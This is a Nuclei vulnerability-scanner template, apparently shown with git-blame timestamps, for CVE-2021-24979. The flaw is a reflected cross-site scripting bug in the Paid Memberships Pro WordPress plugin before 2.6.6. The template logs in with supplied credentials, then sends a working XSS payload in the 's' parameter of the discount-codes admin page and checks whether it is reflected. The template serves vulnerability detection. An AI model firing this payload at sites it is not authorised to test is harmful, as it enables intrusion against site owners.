2023-10-17 07:20:28 +00:00
id : CVE-2021-24979
info :
name : Paid Memberships Pro < 2.6.6 - Cross-Site Scripting
author : r3Y3r53
severity : medium
description : |
The Paid Memberships Pro WordPress plugin before 2.6.6 does not escape the s parameter before outputting it back in an attribute in an admin page, leading to a Reflected Cross-Site Scripting
remediation : version 2.6.6
reference :
- https://wpscan.com/vulnerability/fc011990-4ec1-4553-901d-4ff1f482cb79
- https://nvd.nist.gov/vuln/detail/CVE-2021-24979
2023-10-17 17:52:26 +00:00
- https://plugins.trac.wordpress.org/changeset/2632369/paid-memberships-pro/tags/2.6.6/adminpages/discountcodes.php
2023-10-17 07:20:28 +00:00
classification :
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score : 6.1
cve-id : CVE-2021-24979
cwe-id : CWE-79
2023-10-18 16:26:30 +00:00
epss-score : 0.001
2024-04-08 11:30:07 +00:00
epss-percentile : 0.40385
2023-10-17 17:52:26 +00:00
cpe : cpe:2.3:a:strangerstudios:paid_memberships_pro:*:*:*:*:*:wordpress:*:*
2023-10-17 07:20:28 +00:00
metadata :
verified : true
2023-10-17 17:52:26 +00:00
max-request : 2
vendor : strangerstudios
product : paid_memberships_pro
framework : wordpress
publicwww-query : /wp-content/plugins/paid-memberships-pro/
2024-01-14 09:21:50 +00:00
tags : cve2021,cve,wp,wordpress,wpscan,wp-plugin,xss,authenticated,strangerstudios
2023-10-17 07:20:28 +00:00
http :
- raw :
- |
POST /wp-login.php HTTP/1.1
Host : {{Hostname}}
Content-Type : application/x-www-form-urlencoded
log={{username}}&pwd={{password}}&wp-submit=Log+In
- |
GET /wp-admin/admin.php?page=pmpro-discountcodes&s=s"+style=animation-name:rotation+onanimationstart=alert(document.domain)// HTTP/1.1
Host : {{Hostname}}
matchers :
- type : dsl
dsl :
- 'status_code_2 == 200'
- 'contains(header_2, "text/html")'
- 'contains(body_2, "style=animation-name:rotation+onanimationstart=alert(document.domain)//")'
- 'contains(body_2, "Paid Memberships Pro - Membership Plugin for WordPress")'
2023-10-17 17:52:26 +00:00
condition : and
2024-01-26 08:31:11 +00:00
# digest: 4a0a0047304502204c311ac0221f929a6e40782a29c695f3b9f8f53fdb8540c1a50f006d72c4665f022100bfbd6264919d48a0a9046f8c4b2fc16c812b6b9713d44a254f19dd0c43a97101:922c64590222798bb761d5b6d8e72950